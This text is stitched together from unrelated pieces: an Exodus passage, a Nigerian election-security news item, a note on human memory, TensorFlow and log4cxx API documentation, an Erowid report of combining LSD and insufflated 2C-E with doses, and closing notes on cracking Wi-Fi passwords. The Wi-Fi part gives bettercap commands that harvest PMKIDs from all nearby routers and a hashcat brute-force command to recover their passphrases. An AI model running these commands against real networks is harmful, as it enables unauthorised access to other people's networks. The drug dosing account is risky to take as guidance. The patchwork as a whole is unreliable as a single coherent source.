till the people pass by whom you have purchased.
17 You will bring them in and plant them on your own mountain,
the place, O LORD, which you have made for your abode,
the sanctuary, O Lord, which your hands have established.
18 The LORD will reign forever and ever.”
19 For when the horses of Pharaoh with his chariots and his horsemen went into the sea, the LORD brought back the waters of the sea upon them, but the people of Israel walked on dry ground in the midst of the sea.
20 Then Miriam the prophetess, the sister of Aaron, took a tambourine in her hand, and all the women went out after her with tambourines and dancing.
21 And Miriam sang to them:
“Sing to the LORD, for he has triumphed gloriously;
the horse and his rider he has thrown into the sea.”
Bitter Water Made Sweet
22 Then Moses made Israel set out from the Red Sea, and they went into the wilderness of Shur. They went three days in the wilderness and found no water.
23 When they came to Marah, they could not drink the water of Marah because it was bitter; therefore it was named Marah.
24 And the people grumbled against Moses, saying, “What shall we drink?”
25 And he cried to the LORD, and the LORD showed him a log, and he threw it into the water, and the water became sweet.
There the LORD made for them a statute and a rule, and there he tested them,
26 saying, “If you will diligently listen to the voice of the LORD your God, and do that which is right in his eyes, and give ear to his commandments and keep all his statutes, I will put none of the diseases on you that I put on the Egyptians, for I am the LORD, your healer.”
27 Then they came to Elim, where there were twelve springs of water and seventy palm trees, and they encamped there by the water.


Police assure of security ahead of Bayelsa poll - The Nation Newspaper
by https://www.facebook.com/CheerfulpraiseThe Police Command in Bayelsa, has assured of its readiness to provide adequate security during Saturday’s governorship election in the state.
SP Asnim Butswat, Spokesman for the Command disclosed this while speaking with the News Agency of Nigeria (NAN), on Friday in Yenogoa.
He said that the Command had put in place a robust security arrangement to ensure peaceful conduct of the election.
Butswat urged political parties to play by the rules as the police would not hesitate to wield the big stick to forestall security breach.
He said restriction of movement across the state will commence at midnight.
“Political parties and their supporters are hereby warned to desist from engaging in any act of violence capable of disrupting the poll. They are further advised to abide by the Peace Accord they earlier signed and to cooperate with security agencies.
Read Also: Police identify threats to governorship polls
“Security agencies have been ordered to enforce restriction of movement both on land and on waterways, as from 12 midnight of Nov. 15 to 7p.m., of Nov.17, 2019.
“Movement of persons, vehicles, tricycles and motorcycles will be restricted as from 12 midnight of Nov. 15 to the end of the voting.
“The electorate are advised to come out and exercise their franchise by casting their votes for candidates of their choice,” Butswat said.
NAN reports that 31,000 policemen have been deployed to the state by the police high command to provide security during the poll.
(NAN)


|
Fundamentally memory exists as two components: long-term memory and short-term / working memory.
- The former stores information over long periods of time and is infinite, but has a long retrieval time. Here episodic memory enables humans to associate the solutions of previous problems with current problems. Routine tasks such as procedures and rules will also be learned here.
- Short-term/working memory is finite, but has faster processing times than long-term memory. This is fuelled from the senses and/or long-term memory for temporary demands on memory, i.e. less than one minute. Computing interfaces make heavy use of temporary information, and as such overburden or overload is easily achieved.
- Chunking is employed by the brain to combat overburden. Here information is grouped together so that it forms a single item to be recalled. Miller coined this in 1958 as the "magical 7 + 2." It would not be advisable to present the user with more items than this to remember at any given instance, lest overburden the one piece of PC hardware that can�t be upgraded - the player.
|


Greedily selects a subset of bounding boxes in descending order of score.
tf.compat.v1.image.combined_non_max_suppression
tf.compat.v2.image.combined_non_max_suppression
tf.image.combined_non_max_suppression( boxes, scores, max_output_size_per_class, max_total_size, iou_threshold=0.5, score_threshold=float('-inf'), pad_per_class=False, clip_boxes=True, name=None )
This operation performs non_max_suppression on the inputs per batch, across all classes. Prunes away boxes that have high intersection-over-union (IOU) overlap with previously selected boxes. Bounding boxes are supplied as [y1, x1, y2, x2], where (y1, x1) and (y2, x2) are the coordinates of any diagonal pair of box corners and the coordinates can be provided as normalized (i.e., lying in the interval [0, 1]) or absolute. Note that this algorithm is agnostic to where the origin is in the coordinate system. Also note that this algorithm is invariant to orthogonal transformations and translations of the coordinate system; thus translating or reflections of the coordinate system result in the same boxes being selected by the algorithm. The output of this operation is the final boxes, scores and classes tensor returned after performing non_max_suppression.
boxes
: A 4-D float Tensor
of shape [batch_size, num_boxes, q, 4]
. If q
is 1 then same boxes are used for all classes otherwise, if q
is equal
to number of classes, class-specific boxes are used.scores
: A 3-D float Tensor
of shape [batch_size, num_boxes, num_classes]
representing a single score corresponding to each box (each row of boxes).max_output_size_per_class
: A scalar integer Tensor
representing the
maximum number of boxes to be selected by non max suppression per classmax_total_size
: A scalar representing maximum number of boxes retained over
all classes.iou_threshold
: A float representing the threshold for deciding whether boxes
overlap too much with respect to IOU.score_threshold
: A float representing the threshold for deciding when to
remove boxes based on score.pad_per_class
: If false, the output nmsed boxes, scores and classes are
padded/clipped to max_total_size
. If true, the output nmsed boxes,
scores and classes are padded to be of length
max_size_per_class
*num_classes
, unless it exceeds max_total_size
in
which case it is clipped to max_total_size
. Defaults to false.clip_boxes
: If true, the coordinates of output nmsed boxes will be clipped
to [0, 1]. If false, output the box coordinates as it is. Defaults to
true.name
: A name for the operation (optional).'nmsed_boxes': A [batch_size, max_detections, 4] float32 tensor containing the non-max suppressed boxes. 'nmsed_scores': A [batch_size, max_detections] float32 tensor containing the scores for the boxes. 'nmsed_classes': A [batch_size, max_detections] float32 tensor containing the class for boxes. 'valid_detections': A [batch_size] int32 tensor indicating the number of valid detections per batch item. Only the top valid_detections[i] entries in nms_boxes[i], nms_scores[i] and nms_class[i] are valid. The rest of the entries are zero paddings.


|
Apache log4cxx
Version 0.10.0
|
Macros | |
| #define | LOG4CXX_UNLIKELY(expr) expr |
| Provides optimization hint to the compiler to optimize for the expression being false. More... | |
| #define | LOG4CXX_LOG(logger, level, message) |
| Logs a message to a specified logger with a specified level. More... | |
| #define | LOG4CXX_LOGLS(logger, level, message) |
| Logs a message to a specified logger with a specified level. More... | |
| #define | LOG4CXX_DEBUG(logger, message) |
| Logs a message to a specified logger with the DEBUG level. More... | |
| #define | LOG4CXX_TRACE(logger, message) |
| Logs a message to a specified logger with the TRACE level. More... | |
| #define | LOG4CXX_INFO(logger, message) |
| Logs a message to a specified logger with the INFO level. More... | |
| #define | LOG4CXX_WARN(logger, message) |
| Logs a message to a specified logger with the WARN level. More... | |
| #define | LOG4CXX_ERROR(logger, message) |
| Logs a message to a specified logger with the ERROR level. More... | |
| #define | LOG4CXX_ASSERT(logger, condition, message) |
| Logs a error if the condition is not true. More... | |
| #define | LOG4CXX_FATAL(logger, message) |
| Logs a message to a specified logger with the FATAL level. More... | |
| #define | LOG4CXX_L7DLOG(logger, level, key) |
| Logs a localized message with no parameter. More... | |
| #define | LOG4CXX_L7DLOG1(logger, level, key, p1) |
| Logs a localized message with one parameter. More... | |
| #define | LOG4CXX_L7DLOG2(logger, level, key, p1, p2) |
| Logs a localized message with two parameters. More... | |
| #define | LOG4CXX_L7DLOG3(logger, level, key, p1, p2, p3) |
| Logs a localized message with three parameters. More... | |
| #define LOG4CXX_ASSERT | ( | logger, | |
| condition, | |||
| message | |||
| ) |
Logs a error if the condition is not true.
| logger | the logger to be used. |
| condition | condition |
| message | the message string to log. |
| #define LOG4CXX_DEBUG | ( | logger, | |
| message | |||
| ) |
Logs a message to a specified logger with the DEBUG level.
| logger | the logger to be used. |
| message | the message string to log. |
| #define LOG4CXX_ERROR | ( | logger, | |
| message | |||
| ) |
Logs a message to a specified logger with the ERROR level.
| logger | the logger to be used. |
| message | the message string to log. |
| #define LOG4CXX_FATAL | ( | logger, | |
| message | |||
| ) |
Logs a message to a specified logger with the FATAL level.
| logger | the logger to be used. |
| message | the message string to log. |
| #define LOG4CXX_INFO | ( | logger, | |
| message | |||
| ) |
Logs a message to a specified logger with the INFO level.
| logger | the logger to be used. |
| message | the message string to log. |
| #define LOG4CXX_L7DLOG | ( | logger, | |
| level, | |||
| key | |||
| ) |
Logs a localized message with no parameter.
| logger | the logger to be used. |
| level | the level to log. |
| key | the key to be searched in the resourceBundle of the logger. |
| #define LOG4CXX_L7DLOG1 | ( | logger, | |
| level, | |||
| key, | |||
| p1 | |||
| ) |
Logs a localized message with one parameter.
| logger | the logger to be used. |
| level | the level to log. |
| key | the key to be searched in the resourceBundle of the logger. |
| p1 | the unique parameter. |
| #define LOG4CXX_L7DLOG2 | ( | logger, | |
| level, | |||
| key, | |||
| p1, | |||
| p2 | |||
| ) |
Logs a localized message with two parameters.
| logger | the logger to be used. |
| level | the level to log. |
| key | the key to be searched in the resourceBundle of the logger. |
| p1 | the first parameter. |
| p2 | the second parameter. |
| #define LOG4CXX_L7DLOG3 | ( | logger, | |
| level, | |||
| key, | |||
| p1, | |||
| p2, | |||
| p3 | |||
| ) |
Logs a localized message with three parameters.
| logger | the logger to be used. |
| level | the level to log. |
| key | the key to be searched in the resourceBundle of the logger. |
| p1 | the first parameter. |
| p2 | the second parameter. |
| p3 | the third parameter. |
| #define LOG4CXX_LOG | ( | logger, | |
| level, | |||
| message | |||
| ) |
Logs a message to a specified logger with a specified level.
| logger | the logger to be used. |
| level | the level to log. |
| message | the message string to log. |
| #define LOG4CXX_LOGLS | ( | logger, | |
| level, | |||
| message | |||
| ) |
Logs a message to a specified logger with a specified level.
| logger | the logger to be used. |
| level | the level to log. |
| message | the message string to log in the internal encoding. |
| #define LOG4CXX_TRACE | ( | logger, | |
| message | |||
| ) |
Logs a message to a specified logger with the TRACE level.
| logger | the logger to be used. |
| message | the message string to log. |
| #define LOG4CXX_UNLIKELY | ( | expr | ) | expr |
Provides optimization hint to the compiler to optimize for the expression being false.
| expr | boolean expression. |
| #define LOG4CXX_WARN | ( | logger, | |
| message | |||
| ) |
Logs a message to a specified logger with the WARN level.
| logger | the logger to be used. |
| message | the message string to log. |


| DOSE: T+ 0:00 |
1 hit |
oral |
LSD |
(blotter / tab) |
| T+ 3:45 |
6 mg |
insufflated |
2C-E |
(powder / crystals) |
[Erowid Note: This report is marked as an LSD report, but readers should be aware there are aspects of it that suggest the identification is speculative.]
I have had experiences with both substances seperately before attempting this combo.
setting: new year's eve around 5pm waiting for friends to come around. my friend C had bought some tabs from an online source based in holland. people said they were AMAZING and we were very excited as i had not tripped on lsd in a year.
start point: drop hits. taste sort of bitter and if there could be a color association to the taste it would be purple. the blotter art was Hoffman anniversary blotter.
+30min - getting those jitters and putting back together my record player seems to be much more interesting than proposed
+1:00h - starting to feel really high. that really clear lsd high right before the visuals start to grab me. I get in the car with C and we quickly drive to pick up a friend before things get out of hand.
+1:30h - everything has such a brilliant glow. it is like a new lens of perception. there is a new depth in the trees and the sky seems to be clearer than ever. it is now snowing VERY HARD and the blizzard is illuminating as i am able to pick out every individual snowflake as it falls down to the ground.
+2:00h - calmly wait in the parking lot and i noticed that nothing has really gotten more intense than the lsd high an hour ago. was that it?
+3:00h - extremely frusterated as i tried to force the experience to come to light but it failed. though everything seemed to have a very flowing liquidy feeling with the most minute visuals, i was still here and felt more sober than before taking the lsd
+3:45h - out of frusteration, grab the 2c-e bag and weigh out about 6mg each to insuffilate to get quick effects. nothing happens.
+4:00h - i feel dull. like my mind has been hit with a hammer or turned onto half capacity. nothing feels alive. it is almost my reality is dying or something is causing this neutrality of emotion and reaction. the visuals are pathetic and no more than the ones produced by lsd alone.
+5:00h - we get to the party where everyone is drinking. the carpet has very prominent fractal patterns but i still feel sober. i guess this is what tripping forever would feel like with visuals and no mindfuck. i communicate as if i am sober and no one has a clue that we are tripping.
+5:30h - all visuals gone and i just feel a mild headspace that is rivaled by maybe a hit of marijuana.
throughout the night, everything died down
+9:00h - laying in bed but as i stare out the window i am having intense visuals reminiscent of something out of the video game metroid prime. all the branches on the trees are brilliant red and look metallic and futuristic looking. even in the complete dark, the red color is very prominent and obvious in my field of vision. really confused as i have seen no visuals for many hours and had no mental effects except the dullness after the 2c-e.
+10:00h - finally fall asleep without any chemical aids
The addition to the weak acid experience, the 2c-e seemed to provide nothing note worthy. maybe the dosage was too small on both ends. the experience was nearly dysphoric. the 2c-e provided no additional psychedelic effects as 6mg alone normally does. combination seems to not work well. some have said that they force a mental leveling out which seemed to appear throughout my trip as I was nearly neutralized by the effects of the 2c-e after dosing on lsd.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/#.XGUsG5SMxYE.reddit
https://hashcat.net/forum/thread-7717.html
It turns out that a lot of modern routers append an optional field at the end of the first EAPOL frame sent by the AP itself when someone is associating, the so called Robust Security Network, which includes something called PMKID.
the PMKID is derived by using data which is known to us:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the PMK is the same one obtained from a full 4-way handshake, this is all hashcat needs in order to crack the PSK and recover the passphrase!
This can be done in bettercap or possibly other tools
$ sudo bettercap -iface wlan0
> wifi.recon on
> set wifi.show.sort lcients desc
> set ticker.commands 'clear; wifi.show'
> ticker on
Now you'll be able to see a bunch of SSIDs that are being broadcasted.
Pick a channel of an SSID you want to attack:
> wifi.recon.channel 1
Send association request to every AP and see who'll respond with useful information:
> wifi.assoc all
All nearby vulnerable routers will start sending their PMKID, which bettercap will dump to the usual pcap file
PMKID Cracking
Convert the PMKID data to a hash format for hashcap with hcxpcaptool:
hcxpcaptool -z bettercap-wifi-handshakes.pmkid /root/bettercap-wifi-handshakes.pcap
Now crack using hashcap 16800:
hashcat -m 16800 -a3 -w3 bettercap-wifi-handshakes.pmkid '?d?d?d?d?d?d?d?d'
Recap
Goodbye airmon, airodump, aireplay and whatnots: one tool to rule them all!
Goodbye Kali VMs on macOS: these modules work natively out of the box, with the default Apple hardware <3
Full 4-way handshakes are for n00bs: just one association request and most routers will send us enough key material.